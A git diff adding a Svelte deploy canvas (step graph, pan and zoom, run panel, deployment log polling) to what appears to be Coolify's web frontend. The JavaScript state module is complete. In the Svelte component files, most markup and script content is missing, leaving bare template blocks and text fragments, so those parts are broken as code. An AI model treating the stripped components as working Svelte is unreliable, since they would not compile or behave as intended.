+ + + {#if cv.result.urls.length} + {#each cv.result.urls.slice(0, 3) as url} + {url.replace(/^https?:\/\//, '')} + {/each} + {:else} + Open in Coolify + {/if} + +
+ {/if} +
+
+ + {#if cv.menu} +
+
Add the next step
+ {#each cv.menu.valid as type} + pickNext(type)} /> + {/each} +
+ {/if} + {#if cv.toast} +
{cv.toast.text}
+ {/if} +
+ + {#if cv.dropdown} + {#key cv.dropdown?.trigger} + + {/key} + {/if} +
diff --git a/resources/js/canvas/deploy/Dropdown.svelte b/resources/js/canvas/deploy/Dropdown.svelte new file mode 100644 index 0000000000..8806ded1a5 --- /dev/null +++ b/resources/js/canvas/deploy/Dropdown.svelte @@ -0,0 +1,137 @@ + + +
+ {#if items.length > 8} + (active = 0)} /> + {/if} +
+ {#each shown as [value, text, badge], i} + + {:else} +

{q ? 'No match' : 'None yet'}

+ {/each} +
+ {#if add} +
+ {#if adding} +
+ + { if (e.key !== 'Escape') e.stopPropagation(); }} + /> + +
+

{problem}

+ {:else} + + {/if} +
+ {/if} +
diff --git a/resources/js/canvas/deploy/Edges.svelte b/resources/js/canvas/deploy/Edges.svelte new file mode 100644 index 0000000000..8eac07e5f6 --- /dev/null +++ b/resources/js/canvas/deploy/Edges.svelte @@ -0,0 +1,48 @@ + + + + {#each lines as line} + {#if line.edge} + + + removeEdge(line.edge)}>Click to remove this connection + {/if} + + {/each} + {#if dragged} + + {/if} + diff --git a/resources/js/canvas/deploy/Field.svelte b/resources/js/canvas/deploy/Field.svelte new file mode 100644 index 0000000000..293457c860 --- /dev/null +++ b/resources/js/canvas/deploy/Field.svelte @@ -0,0 +1,105 @@ + + +{#if f.kind === 'note'} +

{f.text}

+{:else} +
+ + + {#if f.kind === 'segmented'} +
+ {#each f.options as [option, text]} + + {/each} +
+ {:else if f.kind === 'select'} + + {#if error}{error}{/if} + {:else if f.kind === 'textarea'} + + {:else} + set(e.currentTarget.value)} + onpointerdown={stop} + onkeydown={stop} + /> + {/if} +
+{/if} diff --git a/resources/js/canvas/deploy/Icon.svelte b/resources/js/canvas/deploy/Icon.svelte new file mode 100644 index 0000000000..f81085b6da --- /dev/null +++ b/resources/js/canvas/deploy/Icon.svelte @@ -0,0 +1,25 @@ + + +{#if glyph} + {@html glyph} +{:else} + +{/if} diff --git a/resources/js/canvas/deploy/Node.svelte b/resources/js/canvas/deploy/Node.svelte new file mode 100644 index 0000000000..b6f36e6965 --- /dev/null +++ b/resources/js/canvas/deploy/Node.svelte @@ -0,0 +1,104 @@ + + +
+ +
dragNode(n, e)}> + + {#if logoSrc && !broken[logoSrc]} + (broken[logoSrc] = true)} /> + {#if logo.dark}{/if} + {:else} + + {/if} + +
{t.title}{t.sub}
+ {#if removable} + + {/if} +
+
+ {#each fields as f (f)} + + {/each} + {#if n.type === 'deploy'} + {#if !plan.lines.length} +

Every resource you connect to a Server shows here.

+ {/if} + {#each plan.lines as { source } (source.id)} + +
+ {/each} + +
+ + +
+ {/if} + {#if t.stage === 'config' && !sourceAbove(n.id, cv.flow)} +

Connect it after a source step.

+ {/if} +
+ {#if n.type !== 'start'}{/if} + {#if st?.message}
{st.message}
{/if} + {#if n.type !== 'deploy'} + + startConnect(n, e)}> + {/if} + {#if blank} +
Drag and drop to add a step
+ {/if} +
diff --git a/resources/js/canvas/deploy/PaletteItem.svelte b/resources/js/canvas/deploy/PaletteItem.svelte new file mode 100644 index 0000000000..f7928cfb04 --- /dev/null +++ b/resources/js/canvas/deploy/PaletteItem.svelte @@ -0,0 +1,21 @@ + + + diff --git a/resources/js/canvas/deploy/RunPanel.svelte b/resources/js/canvas/deploy/RunPanel.svelte new file mode 100644 index 0000000000..77d5fc249e --- /dev/null +++ b/resources/js/canvas/deploy/RunPanel.svelte @@ -0,0 +1,48 @@ + + + diff --git a/resources/js/canvas/deploy/index.js b/resources/js/canvas/deploy/index.js new file mode 100644 index 0000000000..876d4487fd --- /dev/null +++ b/resources/js/canvas/deploy/index.js @@ -0,0 +1,18 @@ +// Deploy canvas (Svelte): mounted on the /canvas page into [data-deploy-canvas], +// on the first load and after Livewire SPA navigation. + +import { mount, unmount } from 'svelte'; +import { mountOnPage } from '../../canvas-core.js'; +import DeployCanvas from './DeployCanvas.svelte'; +import { init } from './state.svelte.js'; +import { injectStyles } from './styles.js'; + +export function initializeDeployCanvas() { + mountOnPage('[data-deploy-canvas]', '.cv-root', container => { + injectStyles(); + init(container); + container.replaceChildren(); + const app = mount(DeployCanvas, { target: container }); + return { root: container.querySelector('.cv-root'), unmount: () => unmount(app) }; + }); +} diff --git a/resources/js/canvas/deploy/state.svelte.js b/resources/js/canvas/deploy/state.svelte.js new file mode 100644 index 0000000000..8d76b5a62d --- /dev/null +++ b/resources/js/canvas/deploy/state.svelte.js @@ -0,0 +1,661 @@ +// Deploy canvas runtime: the state of the open canvas, what the steps do to +// it (add, connect, run…), and the Svelte actions around the imperative +// helpers of canvas-core.js (pan/zoom, top bar placement, card sizes). + +import { flushSync, tick } from 'svelte'; +import { api, freeSpot, MIN_ZOOM, panZoom } from '../../canvas-core.js'; +import { + canFollow, defaults, domainList, fresh, LOG_POLL_MS, lists, load, multiOut, nextOf, nodeById, outsOf, planOf, + resourceHref, save, sleep, targetFrom, TYPES, uid, uniqueLabels, withDeploy, withoutSecrets, withTarget, +} from '../../deploy-canvas.js'; + +export const PORT_Y = 26; // header centre (3.25rem / 2) +const CARD_W = 296; + +const emptyRun = () => ({ open: false, title: 'Deploy', sub: '', steps: [], panes: [], active: null, defaultHref: '', openHref: '', showOpen: false }); + +export const cv = $state({ + canAdd: false, // may create projects and environments (from the page) + target: null, // the environment that opened the canvas + flow: fresh(), + view: { x: 40, y: 40, z: 1 }, + runState: {}, // node id -> { state: running|done|failed, message } + invalid: {}, // node id -> true: a required field is empty + // The last successful run's addresses, shown as a pill after Deploy. + result: null, // { after: node id, urls: [], href } + running: false, // false, 'save' or 'deploy' + sizes: {}, // node id -> { w, h } of its card + listsVersion: 0, // bumped when an option list loads + menu: null, // the "Add the next step" menu: { prev, valid, p, left, top } + pendingLine: null, // the dragged line, kept while its menu is open + temp: null, // the line being dragged from a port + armed: null, // node id of the port being dragged + dropTarget: null, // node id the dragged line would connect to + toast: null, // { text, bad } + dropdown: null, // { trigger, items, current, onPick, add } + run: emptyRun(), // the run panel +}); + +// DOM of the open canvas (set by the actions below); mount counts the +// canvases, so a run of an earlier one stops writing here. +export const els = { root: null, stage: null, viewport: null, pz: null, nodeEls: new Map(), mount: 0, fitOnOpen: false }; + +lists.onChange = () => { cv.listsVersion++; }; + +export function init(container) { + els.mount++; + els.nodeEls.clear(); + cv.canAdd = container.dataset.canAdd === '1'; + if (load('deployed', false)) { + save('flow', null); + save('result', null); + save('deployed', false); + } + cv.target = targetFrom(location.search); + cv.flow = withTarget(withDeploy(load('flow', null) || fresh()), cv.target); + save('flow', withoutSecrets(cv.flow)); // drops secrets that older versions stored + // Small screens: the default view is made for desktop, so the first visit fits the steps instead. + els.fitOnOpen = !load('view', null) && !matchMedia('(min-width: 768px)').matches; + cv.view = load('view', { x: 40, y: 40, z: 1 }); + cv.result = load('result', null); + Object.assign(cv, { runState: {}, invalid: {}, running: false, sizes: {}, menu: null, pendingLine: null, temp: null, armed: null, dropTarget: null, toast: null, dropdown: null, run: emptyRun() }); +} + +/** The canvas left the page: its runs stop. */ +export function leave() { + els.mount++; +} + +// ── Actions ──────────────────────────────────────────────────────────── + +/** use:pan on the viewport: wheel and pinch zoom, drag to pan. zoomLabel() is the zoom button. */ +export function pan(viewport, zoomLabel) { + const world = viewport.querySelector('.cv-world'); + const edges = viewport.querySelector('.cv-edges'); + els.viewport = viewport; + els.stage = viewport.parentElement; + els.root = viewport.closest('.cv-root'); + els.pz = panZoom({ + root: els.root, + viewport, + world, + // The button can sit in the app top bar (see dock), so it is looked up on each write. + zoomLabel: { set textContent(text) { const label = zoomLabel(); if (label) label.textContent = text; } }, + getView: () => cv.view, + onChange: closeDropdown, + canPan: e => [viewport, world, edges].includes(e.target), + onPanStart: closeMenu, + }); +} + +const DESKTOP = '(min-width: 1024px)'; +/** + * use:dock on the header. Desktop: it docks into the app top bar, or with the + * floating nav it is a separate panel next to the top bar (as on the + * environment canvas) when it fits there. Small screens: a box above the canvas. + */ +export function dock(top) { + const root = top.closest('.cv-root'); + const stage = root.querySelector('.cv-stage'); + function place() { + const desktop = matchMedia(DESKTOP).matches; + const slot = desktop && document.getElementById('page-toolbar-slot'); + const topbar = document.querySelector('.app-topbar'); + top.removeAttribute('style'); + if (desktop && topbar && document.documentElement.dataset.navStyle === 'floating') { + top.className = 'fixed z-40 flex items-center gap-3 rounded-lg border border-neutral-200 bg-white px-2 py-1.5 dark:border-white/[0.08] dark:bg-panel'; + root.append(top); + const gap = 8; + const head = topbar.getBoundingClientRect(); + const width = top.offsetWidth; + if (head.right + gap + width <= innerWidth - gap) { + // Centered over the canvas, but never over the top bar. + const box = stage.getBoundingClientRect(); + const left = Math.max(box.left + (box.width - width) / 2, head.right + gap); + Object.assign(top.style, { top: `${head.top}px`, left: `${left}px`, minHeight: `${head.height}px` }); + root.classList.add('cv-docked'); + return; + } + top.removeAttribute('style'); + } + top.className = slot ? 'flex items-center gap-3 pl-3' : 'cv-island cv-top'; + root.classList.toggle('cv-docked', !!slot); + if (slot) slot.replaceChildren(top); + else root.prepend(top); + } + place(); + const replace = () => root.isConnected && place(); + // The floating header is centered over the canvas next to the app top bar, so follow their sizes. + const sizes = new ResizeObserver(replace); + for (const target of [stage, document.querySelector('.app-topbar')].filter(Boolean)) sizes.observe(target); + const media = matchMedia(DESKTOP); + media.addEventListener('change', replace); + addEventListener('resize', replace); + const navStyle = new MutationObserver(replace); + navStyle.observe(document.documentElement, { attributes: true, attributeFilter: ['data-nav-style'] }); + return { + destroy() { + sizes.disconnect(); + media.removeEventListener('change', replace); + removeEventListener('resize', replace); + navStyle.disconnect(); + top.remove(); // it may sit in the app top bar + }, + }; +} + +/** use:track on a card: its element (for measuring) and its size (for the lines). */ +export function track(node, id) { + els.nodeEls.set(id, node); + const measure = () => { cv.sizes[id] = { w: node.offsetWidth, h: node.offsetHeight }; }; + measure(); + const observer = new ResizeObserver(measure); + observer.observe(node); + return { + destroy() { + observer.disconnect(); + if (els.nodeEls.get(id) === node) els.nodeEls.delete(id); + delete cv.sizes[id]; + }, + }; +} + +// ── Canvas: geometry, fit ────────────────────────────────────────────── +// Port positions in world coordinates. +export const outPoint = n => ({ x: n.x + (cv.sizes[n.id]?.w || CARD_W), y: n.y + PORT_Y }); +export const inPoint = n => ({ x: n.x, y: n.y + PORT_Y }); +export const curve = (a, b) => { + const dx = Math.max(40, Math.abs(b.x - a.x) / 2); + return `M ${a.x} ${a.y} C ${a.x + dx} ${a.y}, ${b.x - dx} ${b.y}, ${b.x} ${b.y}`; +}; +const toWorld = (cx, cy) => els.pz.toWorld(cx, cy); +const width = n => els.nodeEls.get(n.id)?.offsetWidth || CARD_W; +const height = n => els.nodeEls.get(n.id)?.offsetHeight || 160; +// A card's box in world units (its rendered size, or a usual card size). +const boxOf = n => ({ x: n.x, y: n.y, w: width(n), h: height(n) }); + +export function fit() { + if (!els.nodeEls.size) return; + let minX = Infinity; let minY = Infinity; let maxX = -Infinity; let maxY = -Infinity; + for (const n of cv.flow.nodes) { + const node = els.nodeEls.get(n.id); + minX = Math.min(minX, n.x); + minY = Math.min(minY, n.y); + maxX = Math.max(maxX, n.x + (node?.offsetWidth || 280)); + maxY = Math.max(maxY, n.y + (node?.offsetHeight || 120)); + } + const pill = els.root.querySelector('.cv-result'); + if (pill) { + maxX = Math.max(maxX, pill.offsetLeft + pill.offsetWidth); + maxY = Math.max(maxY, pill.offsetTop + pill.offsetHeight); + } + const r = els.viewport.getBoundingClientRect(); + const pad = 60; + const view = cv.view; + view.z = Math.min(1.2, Math.max(MIN_ZOOM, Math.min((r.width - pad * 2) / (maxX - minX), (r.height - pad * 2) / (maxY - minY)))); + view.x = (r.width - (maxX - minX) * view.z) / 2 - minX * view.z; + view.y = (r.height - (maxY - minY) * view.z) / 2 - minY * view.z; + els.pz.apply(); +} + +// ── Toast, menus, dropdown ───────────────────────────────────────────── +let toastTimer = 0; +export function toast(text, bad = false) { + cv.toast = { text, bad }; + clearTimeout(toastTimer); + toastTimer = setTimeout(() => { cv.toast = null; }, bad ? 4200 : 2600); +} + +export function closeMenu() { + cv.menu = null; + cv.pendingLine = null; +} +// Close an older menu but keep the line being dropped. +function openNextMenu(prev, cx, cy, p) { + cv.menu = null; + const valid = Object.keys(TYPES).filter(type => canFollow(prev, type, null, cv.flow)); + if (!valid.length) return toast('Nothing can follow this step.', true); + const r = els.stage.getBoundingClientRect(); + cv.menu = { prev: prev.id, valid, p, left: Math.min(cx - r.left, r.width - 220), top: Math.min(cy - r.top, r.height - 40 * valid.length - 40) }; +} +export function pickNext(type) { + const { prev, p } = cv.menu; + closeMenu(); + const n = addNode(type, p.x + 8, p.y - PORT_Y, true); + connect(prev, n.id); +} + +// Our dropdown panel (fixed in the canvas root, so zoom never shrinks it). +export function closeDropdown() { + cv.dropdown = null; +} +export function openDropdown(trigger, items, current, onPick, add = null) { + if (cv.dropdown?.trigger === trigger) return closeDropdown(); + cv.dropdown = { trigger, items, current, onPick, add }; +} + +// ── Flow edits ───────────────────────────────────────────────────────── +// A structural change redraws the cards, which clears their invalid marks. +const redraw = () => { cv.invalid = {}; }; + +export function connect(from, to) { + const a = nodeById(from, cv.flow); + cv.flow.edges = cv.flow.edges.filter(e => !(e.from === from && e.to === to) && (multiOut(a) || e.from !== from) && e.to !== to); + cv.flow.edges.push({ from, to }); + redraw(); +} +export function removeEdge(edge) { + if (cv.running) return; + cv.flow.edges = cv.flow.edges.filter(e => e !== edge); + redraw(); + toast('Connection removed.'); +} +export function addNode(type, x, y, quiet) { + cv.flow.nodes.push({ id: uid(), type, x: Math.round(x), y: Math.round(y), data: defaults(type) }); + const n = cv.flow.nodes.at(-1); + redraw(); + flushSync(); // render the card, to measure it + settle(n); + if (!quiet) toast(`${TYPES[type].title} added. Connect it from the dot of the step before.`); + return n; +} +export function removeNode(id) { + if (cv.running) return; + cv.flow.nodes = cv.flow.nodes.filter(n => n.id !== id); + cv.flow.edges = cv.flow.edges.filter(e => e.from !== id && e.to !== id); + delete cv.runState[id]; + redraw(); +} +export function resetCanvas() { + if (cv.running) return; + cv.flow = withTarget(fresh(), cv.target); + cv.runState = {}; + cv.result = null; + save('result', null); + save('deployed', false); + redraw(); +} +export function hideResult() { + cv.result = null; + save('result', null); +} +// A field change. Fields loaded from the one changed (`rerender`) start empty again. +export function setField(n, f, value) { + const fields = TYPES[n.type].fields; + n.data[f.key] = value; + f.after?.(n.data); + if (f.rerender) { + for (const other of fields) if (other.load && other !== f && other.key !== f.key && fields.indexOf(other) > fields.indexOf(f)) delete n.data[other.key]; + } + delete cv.invalid[n.id]; +} + +// Move a card to the nearest spot where it does not cover another card. +function settle(n) { + const spot = freeSpot(boxOf(n), cv.flow.nodes.filter(m => m !== n).map(boxOf)); + if (!spot || (spot.x === n.x && spot.y === n.y)) return; + n.x = Math.round(spot.x); + n.y = Math.round(spot.y); +} +// Click on a step in the list: add it after the step it most likely follows. +function appendToChain(type) { + const flow = cv.flow; + const plan = planOf(flow); + // The newest step in the tree this one can follow, with room for it. + const inTree = [plan.start, ...plan.servers, ...plan.lines.flatMap(l => [l.source, ...l.settings])]; + const parent = inTree.reverse().find(n => canFollow(n, type, null, flow) && (multiOut(n) || !nextOf(n.id, flow))); + if (!parent) return addNode(type, ...centre()); + const siblings = multiOut(parent) ? outsOf(parent.id, flow).map(id => nodeById(id, flow)).filter(Boolean) : []; + const y = siblings.length ? Math.max(...siblings.map(n => n.y + height(n))) + 40 : parent.y; + const n = addNode(type, parent.x + width(parent) + 80, y, true); + connect(parent.id, n.id); +} +function centre() { + const r = els.viewport.getBoundingClientRect(); + const p = toWorld(r.left + r.width / 2, r.top + r.height / 2); + return [p.x - 140, p.y - 60]; +} + +// ── Pointer drags ────────────────────────────────────────────────────── + +/** A palette step: drag it to the canvas, or click to append it to the chain. */ +export function dragFromPalette(type, event) { + if (event.button !== 0) return; + const item = event.currentTarget; + const startX = event.clientX; + const startY = event.clientY; + let ghost = null; + const move = e => { + if (!ghost && Math.hypot(e.clientX - startX, e.clientY - startY) < 5) return; + if (!ghost) { + ghost = item.cloneNode(true); + Object.assign(ghost.style, { position: 'fixed', zIndex: 2147483001, width: `${item.offsetWidth}px`, pointerEvents: 'none', opacity: 0.9, background: 'var(--cv-ghost)', borderRadius: '8px', boxShadow: '0 8px 24px -8px rgb(0 0 0 / 0.35)' }); + ghost.style.setProperty('--cv-ghost', 'light-dark(#fff, #222)'); + els.root.append(ghost); + } + ghost.style.left = `${e.clientX - 20}px`; + ghost.style.top = `${e.clientY - 18}px`; + }; + const stop = () => { + removeEventListener('pointermove', move); + removeEventListener('pointerup', up); + removeEventListener('pointercancel', cancel); + }; + // Touch: a sideways swipe scrolls the step strip (small screens) and cancels the pointer. + const cancel = () => { + stop(); + ghost?.remove(); + }; + const up = e => { + stop(); + if (!ghost) return appendToChain(type); + ghost.remove(); + const r = els.viewport.getBoundingClientRect(); + if (e.clientX < r.left || e.clientX > r.right || e.clientY < r.top || e.clientY > r.bottom) return; + const p = toWorld(e.clientX, e.clientY); + addNode(type, p.x - 30, p.y - 16); + }; + addEventListener('pointermove', move); + addEventListener('pointerup', up); + addEventListener('pointercancel', cancel); +} + +/** + * Drag a card by its header. Pointer capture keeps the drag even when the + * pointer outruns the card. + */ +export function dragNode(n, event) { + if (event.button !== 0 || event.target.closest('button, input, select, textarea')) return; + const handle = event.currentTarget; + event.stopPropagation(); + event.preventDefault(); + closeMenu(); + try { handle.setPointerCapture(event.pointerId); } catch { /* not capturable */ } + const ox = event.clientX / cv.view.z - n.x; + const oy = event.clientY / cv.view.z - n.y; + // The other cards stay put during the drag, so measure them once. + const others = cv.flow.nodes.filter(m => m !== n).map(boxOf); + const move = e => { + if (e.pointerId !== event.pointerId) return; + const wanted = { x: e.clientX / cv.view.z - ox, y: e.clientY / cv.view.z - oy, w: width(n), h: height(n) }; + // Cards cannot cover each other: stop at the edge of a card in the way. + const spot = freeSpot(wanted, others); + if (!spot) return; + n.x = Math.round(spot.x); + n.y = Math.round(spot.y); + }; + const up = e => { + if (e.pointerId !== event.pointerId) return; + removeEventListener('pointermove', move); + removeEventListener('pointerup', up); + removeEventListener('pointercancel', up); + }; + addEventListener('pointermove', move); + addEventListener('pointerup', up); + addEventListener('pointercancel', up); +} + +// Drag from an output port: drop on a node to connect, on empty space to pick. +export function startConnect(n, event) { + event.stopPropagation(); + event.preventDefault(); + if (cv.running) return; + cv.armed = n.id; + const a = outPoint(n); + let target = null; + const move = e => { + cv.temp = { a, b: toWorld(e.clientX, e.clientY) }; + const hit = document.elementFromPoint(e.clientX, e.clientY)?.closest?.('.cv-node'); + const id = hit?.dataset.id; + const candidate = id && id !== n.id ? nodeById(id, cv.flow) : null; + target = candidate && canFollow(n, candidate.type, candidate, cv.flow) ? candidate : null; + cv.dropTarget = target?.id ?? null; + }; + const up = e => { + removeEventListener('pointermove', move); + removeEventListener('pointerup', up); + cv.armed = null; + cv.temp = null; + cv.dropTarget = null; + if (target) return connect(n.id, target.id); + const over = document.elementFromPoint(e.clientX, e.clientY); + if (over?.closest?.('.cv-node')) return toast('That step cannot follow this one.', true); + const p = toWorld(e.clientX, e.clientY); + if (Math.hypot(p.x - a.x, p.y - a.y) < 12) return; + cv.pendingLine = { a, b: p }; + openNextMenu(n, e.clientX, e.clientY, p); + }; + addEventListener('pointermove', move); + addEventListener('pointerup', up); +} + +// ── Run ──────────────────────────────────────────────────────────────── +// Log panes: "all" holds the steps; each deployment gets its own tab and pane. +const paneOf = key => cv.run.panes.find(pane => pane.key === key); +function openPane(key, label) { + if (!paneOf(key)) cv.run.panes.push({ key, label, href: '', state: '', status: '', lines: [] }); + return paneOf(key); +} +export function showPane(key) { + const r = cv.run; + r.active = key; + const href = paneOf(key)?.href || r.defaultHref; + if (href) r.openHref = href; +} +function setPaneState(key, state, status) { + const pane = paneOf(key); + if (!pane) return; + pane.state = state; + pane.status = status; +} +function logLine(text, cls = '', key = 'all') { + const pane = paneOf(key) || paneOf('all'); + const box = els.root?.querySelector(`.cv-logs[data-key="${pane.key}"]`); + const atEnd = !box || box.scrollTop + box.clientHeight >= box.scrollHeight - 30; + pane.lines.push({ text, cls }); + if (box && atEnd) tick().then(() => { box.scrollTop = box.scrollHeight; }); +} +function setStep(n, state, message) { + cv.runState[n.id] = { state, message }; + delete cv.invalid[n.id]; + const row = cv.run.steps.find(s => s.id === n.id); + if (row) { + row.state = state; + row.message = message || ''; + } +} + +function validate(plan) { + const problems = []; + if (!plan.servers.length) problems.push('Connect a Server right after Start.'); + else if (!plan.lines.length) problems.push('Connect a source step (Git repository, Docker image, Dockerfile, Service or Database) to a Server.'); + for (const n of [plan.start, ...new Set(plan.lines.map(l => l.server)), ...plan.lines.flatMap(l => [l.source, ...l.settings])]) { + const missing = TYPES[n.type].fields.filter(f => f.required && (!f.show || f.show(n.data)) && !String(n.data[f.key] ?? '').trim()).map(f => f.label); + if (missing.length) { + problems.push(`${TYPES[n.type].title}: fill in ${missing.join(', ')}.`); + cv.invalid[n.id] = true; + } + } + return problems; +} + +export async function runFlow(action = 'deploy') { + if (cv.running) return; + closeMenu(); + const plan = planOf(cv.flow); + const problems = validate(plan); + if (problems.length) { + toast(problems[0], true); + return; + } + cv.running = action; + cv.runState = {}; + cv.result = null; + save('result', null); + save('deployed', false); + const servers = [...new Set(plan.lines.map(l => l.server))]; + const list = [plan.start, ...servers, ...plan.lines.flatMap(l => [l.source, ...l.settings]), plan.deploy]; + const names = uniqueLabels(plan.lines.map(l => l.source)); + const labelOf = n => names.get(n.id) || TYPES[n.type].title; + const r = cv.run; + r.open = true; + r.title = action === 'save' ? 'Saving' : 'Deploying'; + r.sub = `${plan.lines.length} resource${plan.lines.length === 1 ? '' : 's'}`; + r.panes = []; + r.active = null; + r.defaultHref = ''; + openPane('all', 'Steps'); + showPane('all'); + r.showOpen = false; + r.steps = list.map(n => ({ id: n.id, label: labelOf(n), state: '', message: 'Waiting' })); + redraw(); + // The page can be left (and the canvas mounted again) during a run. + const owner = els.mount; + const live = () => els.mount === owner; + // Run one step; false when it failed. + const step = async (n, work) => { + setStep(n, 'running', 'Running…'); + try { + const message = await work(); + if (!live()) return false; + setStep(n, 'done', message); + logLine(`✓ ${labelOf(n)}: ${message}`, 'dim'); + return true; + } catch (error) { + if (!live()) return false; + setStep(n, 'failed', error.message); + logLine(`✗ ${labelOf(n)}: ${error.message}`, 'err'); + return false; + } + }; + const base = {}; + let ok = await step(plan.start, () => TYPES.start.run(base, plan.start.data)); + for (const server of servers) { + if (!ok) break; + ok = await step(server, async () => 'Server picked.'); + } + const shipped = []; // { line, ctx, label } per created resource + for (const line of plan.lines) { + if (!ok) break; + const ctx = { ...base }; + await TYPES.server.run(ctx, line.server.data); + const domainNode = line.settings.find(n => n.type === 'domain'); + if (domainNode) ctx.domains = domainList(domainNode.data.domains); + for (const n of [line.source, ...line.settings]) { + ok = await step(n, () => TYPES[n.type].run(ctx, n.data)); + if (!ok) break; + } + if (ctx.resource) shipped.push({ line, ctx, label: names.get(line.source.id) }); + } + if (!live()) return; + const href = () => shipped.length === 1 ? resourceHref(shipped[0].ctx) : `/project/${base.project}/environment/${base.environment}`; + if (shipped.length) { + r.showOpen = true; + r.openHref = r.defaultHref = href(); + } + if (ok) { + ok = await step(plan.deploy, async () => action === 'save' + ? `Saved ${shipped.length} resource${shipped.length === 1 ? '' : 's'}. Not deployed.` + : deployAll(shipped, live)); + } + if (!live()) return; + if (shipped.length) r.defaultHref = href(); + showPane(r.active); + if (ok) { + const urls = []; + for (const { ctx } of action === 'save' ? [] : shipped) { + let found = String(ctx.domains || ctx.createdDomains || '').split(',').map(v => v.trim()).filter(Boolean); + if (!found.length && ctx.resource.kind === 'application') { + try { + const app = await api('GET', `/applications/${ctx.resource.uuid}`); + found = String(app?.fqdn || '').split(',').map(v => v.trim()).filter(Boolean); + } catch { /* keep none */ } + } + urls.push(...found); + } + cv.result = { after: plan.deploy.id, urls, href: href() }; + save('result', cv.result); + // The next visit starts with an empty canvas. + if (action === 'deploy') save('deployed', true); + } + r.title = ok ? 'Done' : 'Stopped'; + r.sub = ok ? (action === 'save' ? 'Saved in Coolify. Deploy them from there or from here.' : 'Every step finished.') : 'A step failed. Fix it and try again.'; + cv.running = false; +} + +// Deploy every resource at once and follow them. +async function deployAll(shipped, live) { + const many = shipped.length > 1; + // A tab per resource, in order; the first one opens. + for (const { line, ctx, label } of shipped) openPane(line.source.id, label).href = resourceHref(ctx); + if (shipped.length) showPane(shipped[0].line.source.id); + const results = await Promise.allSettled(shipped.map(async ({ line, ctx, label }) => { + const key = line.source.id; + setPaneState(key, 'running', 'Starting'); + try { + const res = await api('POST', '/deploy', { uuid: ctx.resource.uuid }); + if (!live()) return 'Left the canvas.'; + const item = res?.deployments?.[0]; + let message = item?.message || 'Started.'; + if (item?.deployment_uuid) { + ctx.deployment = item.deployment_uuid; + paneOf(key).href = resourceHref(ctx); + if (cv.run.active === key) showPane(key); + message = await followDeployment(label, item.deployment_uuid, key, live); + if (!live()) return message; + } else { + logLine(message, '', key); + } + setPaneState(key, 'done', message); + logLine(`✓ ${label}: ${message}`, 'dim'); + return `${label}: ${message}`; + } catch (error) { + if (live()) { + setPaneState(key, 'failed', error.message.replace(`${label}: `, '')); + logLine(error.message, 'err', key); + } + throw error; + } + })); + const failed = results.filter(res => res.status === 'rejected').map(res => res.reason.message); + if (failed.length) throw new Error(failed.join(' · ')); + return many ? `${results.length} resources deployed.` : results[0].value; +} + +// Poll the deployment (Coolify's own log view also polls every 2 s). +// Logs go to the resource's own pane (key). +async function followDeployment(label, deploymentUuid, key, live) { + logLine(`Deployment ${deploymentUuid}`, 'dim', key); + let shown = 0; + let warned = false; + for (;;) { + if (!live()) return 'Left the canvas.'; + let dep; + try { + dep = await api('GET', `/deployments/${deploymentUuid}`); + } catch (error) { + if (!live()) return 'Left the canvas.'; + logLine(`(could not read the deployment: ${error.message})`, 'err', key); + await sleep(LOG_POLL_MS * 2); + continue; + } + if (!live()) return 'Left the canvas.'; + let entries = []; + if (typeof dep.logs === 'string') { + try { entries = JSON.parse(dep.logs) || []; } catch { entries = []; } + } else if (dep.logs === undefined && !warned) { + warned = true; + logLine('Logs are hidden: only team admins can see deployment logs.', 'err', key); + } + const visible = entries.filter(entry => !entry.hidden); + for (const entry of visible.slice(shown)) { + for (const line of String(entry.output ?? '').split('\n')) if (line.trim()) logLine(line, entry.type === 'stderr' ? 'err' : '', key); + } + shown = visible.length; + setPaneState(key, 'running', String(dep.status || '').replace(/_/g, ' ')); + if (dep.status === 'finished') return 'Deployed.'; + if (dep.status === 'failed') throw new Error(`${label}: deployment failed. See the logs.`); + if (dep.status === 'cancelled-by-user') throw new Error(`${label}: deployment cancelled.`); + await sleep(LOG_POLL_MS); + } +} diff --git a/resources/js/canvas/deploy/styles.js b/resources/js/canvas/deploy/styles.js new file mode 100644 index 0000000000..a66713dc2f --- /dev/null +++ b/resources/js/canvas/deploy/styles.js @@ -0,0 +1,319 @@ +// The deploy canvas look: islands on a backdrop. The colors are CSS variables +// on .cv-root, so a custom color scheme can replace them. Injected once as a +// diff --git a/resources/js/canvas/environment/Icon.svelte b/resources/js/canvas/environment/Icon.svelte new file mode 100644 index 0000000000..8a715697fa --- /dev/null +++ b/resources/js/canvas/environment/Icon.svelte @@ -0,0 +1,10 @@ + + + diff --git a/resources/js/canvas/environment/NodeIcon.svelte b/resources/js/canvas/environment/NodeIcon.svelte new file mode 100644 index 0000000000..920d30b42a --- /dev/null +++ b/resources/js/canvas/environment/NodeIcon.svelte @@ -0,0 +1,37 @@ + + +{#if faviconShown} + +{:else} + {#if !logo?.src || broken} + + {:else} + + + {#if logo.dark} + + {/if} + + {/if} + {#if logo?.favicon && !failed[logo.favicon]} + (loadedFavicon = logo.favicon)} onerror={() => (failed[logo.favicon] = true)} /> + {/if} +{/if} diff --git a/resources/js/canvas/environment/Panel.svelte b/resources/js/canvas/environment/Panel.svelte new file mode 100644 index 0000000000..12bc001300 --- /dev/null +++ b/resources/js/canvas/environment/Panel.svelte @@ -0,0 +1,324 @@ + + +{#snippet section(title, content)} +
+

{title}

+ {@render content()} +
+{/snippet} + +{#snippet note(content)} +

{content}

+{/snippet} + +{#snippet shell(title, iconSource, body, footer)} + +{/snippet} + +{#snippet meta(n)} +
+ {TYPE_LABELS[n.type] || n.type} + {statusLabel(n.status)} +
+{/snippet} + +{#snippet openButton(n, cls, label)} + {label} +{/snippet} + +{#snippet removeButton(l)} + {#if canEdit} + + {/if} +{/snippet} + +{#if connectView && node && isSource(node)} + {#snippet body()} +
+ {#if node.reference}{node.reference}{/if} + {#if node.missing}Deleted{/if} +
+ {#if node.missing} + {@render note(`This shared variable was deleted. The resources below still reference it and get the text ${node.reference} instead of a value. Add the variable again, or remove the reference.`)} + {:else if node.subtitle} + {#snippet description()}

{node.subtitle}

{/snippet} + {@render section('Description', description)} + {/if} + {#snippet used()} +
    + {#if !usedBy.length}
  • {text.noTargets}
  • {/if} + {#each usedBy as l (l.id)} + {@const resource = nodeById(l.target)} +
  • + + {@render removeButton(l)} +
  • + {/each} +
